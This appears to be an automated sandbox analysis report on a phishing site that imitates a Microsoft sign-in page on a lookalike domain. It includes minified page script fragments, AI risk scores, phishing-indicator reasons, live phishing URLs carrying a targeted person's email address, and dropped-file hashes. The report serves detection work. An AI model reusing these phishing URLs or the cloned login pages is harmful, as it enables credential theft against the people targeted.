>0)&&!(n=i.next()).done;)u.push(n.value)}catch(t){o={error:t}}finally{try{n&&!n.done&&(e=i.return)&&e.call(i)}finally{if(o)throw o.error}}return u}function u(t,r,e){if(e\|\|2===arguments.length)for(var n,o=0,i=r.length;o<i;o++)!n&&o in r\|\|(n\|\|(n=Array.prototype.slice.call(r,0,o)),n[o]=r[o]);return t.concat(n\|\|Array.prototype.slice.call(r))}function c(t){return this instanceof c?(this.v=t,this):new c(t)}function s(t,r,e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,o=e.apply(t,r\|\|[]),i=[];return n={},u("next"),u("throw"),u("return",(function(t){return function(r){return Promise.resolve(r).then(t,l)}})),n[Symbol.asyncIterator]=function(){return this},n;function u(t,r){o[t]&&(n[t]=function(r){return new Promise((function(e,n){i.push([t,r,e,n])>1\|\|s(t,r)}))},r&&(n[t]=r(n[t])))}function s(t,r){try{(e=o[t](r)).value instanceof c?Promise.resolve(e.value.v).then(a,l):f(i[0][2],e)}catch(t){f(i[0][3],t)}var e}function a(t){s("next",t)}function l(t){s("throw",t)}function f(t,r){t(r),i.shift(),i.length&&s(i[0][0],i[0][1])}}function a(t){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,e=t[Symbol.asyncIterator];return e?e.call(t):(t=o(t),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(e){r[e]=t[e]&&function(r){return new Promise((function(n,o){(function(t,r,e,n){Promise.resolve(n).then((function(r){t({value:r,done:e})}),r)})(n,o,(r=t[e](r)).done,r.value)}))}}}Object.create;"function"==typeof SuppressedError&&SuppressedError;function l(t){return"function"==typeof t}var f,h=((f=function(t){return function(r){t(this),this.message=r?r.length+" errors oc
URL: https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. However, it also includes some behaviors that warrant further review, such as the use of dynamic code execution (via `setTimeout`) and potential data exfiltration (sending data to external domains). Additionally, the script is loading resources from external CDN roots, which could potentially be used for malicious purposes. Overall, the script exhibits a mix of benign and potentially concerning behaviors, warranting a medium-risk score." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.acmgs.com.au/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)r=i[s],Object.prototype.hasOwnProperty.call(o,r)&&o[r]&&u.push(o[r][0]),o[r]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(c&&c(t);u.length;)u.shift()()}var n,r={},o={1:0};function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}Function.prototype.bind\|\|(n=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var t=n.call(arguments,1),r=t.length,o=this,i=function(){},a=function(){return t.length=r,t.push.apply(t,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,t)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(t){var n=this,r=0,o=null,i=[];function a(){if(i.length>0){var e=i.slice();i=[],setTimeout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}catch(a){return void u(a)}i instanceof e?i.then(s,u):2===r&&"function"!=typeof n?u(i):s(i)})),0!==r&&a()}(t,n,s,u)}))},n["catch"]=function(e){return n.then(null,e)},function(){if("function"!=typeof t)throw new TypeError("Promise: argument is not a Function object");try{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==--s&&o(a)};r?l.then(t(a,u,d,r),i):l.then(t(a,u,d,r,!0),t(a,u,d,r,!1))}else a[u]=l}0===s&&setTimeout((function(){o(a)}),0)})):e.resolve([])}function r(e,t){return function(){e(t)}}e.all=function(e){return n(e,!0)},e.allSettled=function(e){return n(e,!1)},e.race=function(t){return new e((function(n,o){if(t&&t.length)for(var i=0,a=t.length;i<a;++i){var s=t[i];s instanceof e?s.then(n,o):setTimeout(r(n,s),0)}}))},e.reject=function(t){return new e((function(e,n){n(t)}))},e.resolve=function(t){return t instanceof e?t:t&&"function"==typeof t.then?new e((function(e,n){t.then(e,n)})):new e((function(e){e(t)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),i.e=function(e){var t=[],n=o[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise((function(t,r){n=o[e]=[t,r]}));t.push(n[2]=r);var a=window.ServerData,s=a&&a.loader&&a.loader.cdnRoots\|\|[],u=a&&a.slMaxRetry?a.slMaxRetry:s.length-1,c=new Error;var l=function d(
URL: https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. While it uses some legacy APIs like `XDomainRequest`, the overall behavior is benign and focused on providing a consistent Promise implementation across different browsers. There are no clear indicators of malicious intent or data exfiltration, so the risk score is relatively low." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.acmgs.com.au/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)i=o[s],Object.prototype.hasOwnProperty.call(a,i)&&a[i]&&c.push(a[i][0]),a[i]=0;for(t in r)Object.prototype.hasOwnProperty.call(r,t)&&(e[t]=r[t]);for(d&&d(n);c.length;)c.shift()()}var t,i={},a={24:0};function o(n){if(i[n])return i[n].exports;var t=i[n]={i:n,l:!1,exports:{}};return e[n].call(t.exports,t,t.exports,o),t.l=!0,t.exports}Function.prototype.bind\|\|(t=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var n=t.call(arguments,1),i=n.length,a=this,o=function(){},r=function(){return n.length=i,n.push.apply(n,arguments),a.apply(o.prototype.isPrototypeOf(this)?this:e,n)};return this.prototype&&(o.prototype=this.prototype),r.prototype=new o,r}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(n){var t=this,i=0,a=null,o=[];function r(){if(o.length>0){var e=o.slice();o=[],setTimeout((function(){for(var n=0,t=e.length;n<t;++n)e[n]()}),0)}}function s(e){0===i&&(a=e,i=1,r())}function c(e){0===i&&(a=e,i=2,r())}t.then=function(n,t){return new e((function(s,c){!function(n,t,s,c){o.push((function(){var o;try{o=1===i?"function"==typeof n?n(a):a:"function"==typeof t?t(a):a}catch(r){return void c(r)}o instanceof e?o.then(s,c):2===i&&"function"!=typeof t?c(o):s(o)})),0!==i&&r()}(n,t,s,c)}))},t["catch"]=function(e){return t.then(null,e)},function(){if("function"!=typeof n)throw new TypeError("Promise: argument is not a Function object");try{n(s,c)}catch(e){c(e)}}()}function n(e,n,t,i,a){return function(o){e[n]=i?o:a?{status:"fulfilled",value:o}:{status:"rejected",reason:o},t()}}function t(t,i){return t&&t.length?new e((function(a,o){for(var r=[],s=0,c=0,d=t.length;c<d;++c){var l=t[c];if(l instanceof e){s++;var u=function(){0==--s&&a(r)};i?l.then(n(r,c,u,i),o):l.then(n(r,c,u,i,!0),n(r,c,u,i,!1))}else r[c]=l}0===s&&setTimeout((function(){a(r)}),0)})):e.resolve([])}function i(e,n){return function(){e(n)}}e.all=function(e){return t(e,!0)},e.allSettled=function(e){return t(e,!1)},e.race=function(n){return new e((function(t,a){if(n&&n.length)for(var o=0,r=n.length;o<r;++o){var s=n[o];s instanceof e?s.then(t,a):setTimeout(i(t,s),0)}}))},e.reject=function(n){return new e((function(e,t){t(n)}))},e.resolve=function(n){return n instanceof e?n:n&&"function"==typeof n.then?new e((function(e,t){n.then(e,t)})):new e((function(e){e(n)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),o.e=function(e){var n=[],t=a[e];if(0!==t)if(t)n.push(t[2]);else{var i=new Promise((function(n,i){t=a[e]=[n,i]}));n.push(t[2]=i);var r=window.ServerData,s=r&&r.loader&&r.loader.cdnRoots\|\|[],c=r&&r.slMaxRetry?r.slMaxRetry:s.length-1,d=new Error;var l=function u
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a web page loading and debugging utility. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily focused on handling document ready and load events, as well as providing a simple logging mechanism through the `$Debug` object. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems to be a benign utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("
URL: https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and event handling, with no high-risk indicators like dynamic code execution or data exfiltration. It uses a logging mechanism and checks for browser compatibility, which are typical for debugging and error handling. The script does not interact with external domains or use obfuscated code, indicating a low risk." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL '0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au' does not match the legitimate domain for Microsoft.", "The use of '0nlineactivations' with zeroes instead of 'onlineactivations' is a common phishing tactic involving misspellings.", "The domain 'acmgs.com.au' is not associated with Microsoft, which raises suspicion.", "The presence of repeated words and unusual patterns in the URL is indicative of phishing.", "The input field 'Password' suggests an attempt to capture sensitive information, which is common in phishing sites." ], "riskscore": 9} Google indexed: False
URL: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Brands: Microsoft Input Fields: Password
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Your account or password is incorrect. If you don't remember your password, reset it now." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL '0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au' does not match the legitimate domain for Microsoft.", "The URL contains repeated words and uses '0' instead of 'o', which is a common phishing tactic to mimic legitimate words.", "The domain 'acmgs.com.au' is not associated with Microsoft, and the use of multiple hyphens and repeated words is suspicious.", "The presence of an input field for 'Enter password' suggests an attempt to capture sensitive information, which is a common phishing strategy." ], "riskscore": 9} Google indexed: False
URL: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Brands: Microsoft Input Fields: Enter password

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 18:30:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985218995043338
Encrypted:	false
SSDEEP:	48:8m60dcTg9rwHFidAKZdA1oehwiZUklqehey+3:8PnWrfty
MD5:	D885DDDD5075A3A31668EDEBF71B495B
SHA1:	01D7ACCAA4EE2C1483A9CEDA4662AB9FC16564B7
SHA-256:	1264FDB29A5FF0DE2DDC4F32D241D6BDD860D31DC2B2C54FC227490C67CED26E
SHA-512:	1ECBB533C471269DC6FD9028F63AA2F665134B04FF5E03229B718639B2705B51D2F2E33C421D6CB1FB0AC0BCA1DC2E47E681DABC79F50CBB6755C8CAAC359C27
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Q.&..S..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............G%.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 18:30:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9993955906470684
Encrypted:	false
SSDEEP:	48:8160dcTg9rwHFidAKZdA1leh/iZUkAQkqehdy+2:8onWrF9Q0y
MD5:	D43882CC2B687A9801EBFFF4FBF72D3A
SHA1:	0AA14BE1B47A4A28E30239B73F9E1CF30D9A3D65
SHA-256:	F000FAF237965EB20F9914440AD7764B8A3D03697BA7338ED28884224E74F2CA
SHA-512:	6E80CB89220417B4C3479CE2525A6F74D64AB3D1AEE81D66CD6CDB04E4CE42F6CBFF10303D3ACDC0F2E03D27742B82476210C01EA41228AAADB777CBDEF894A4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....[....S..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............G%.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
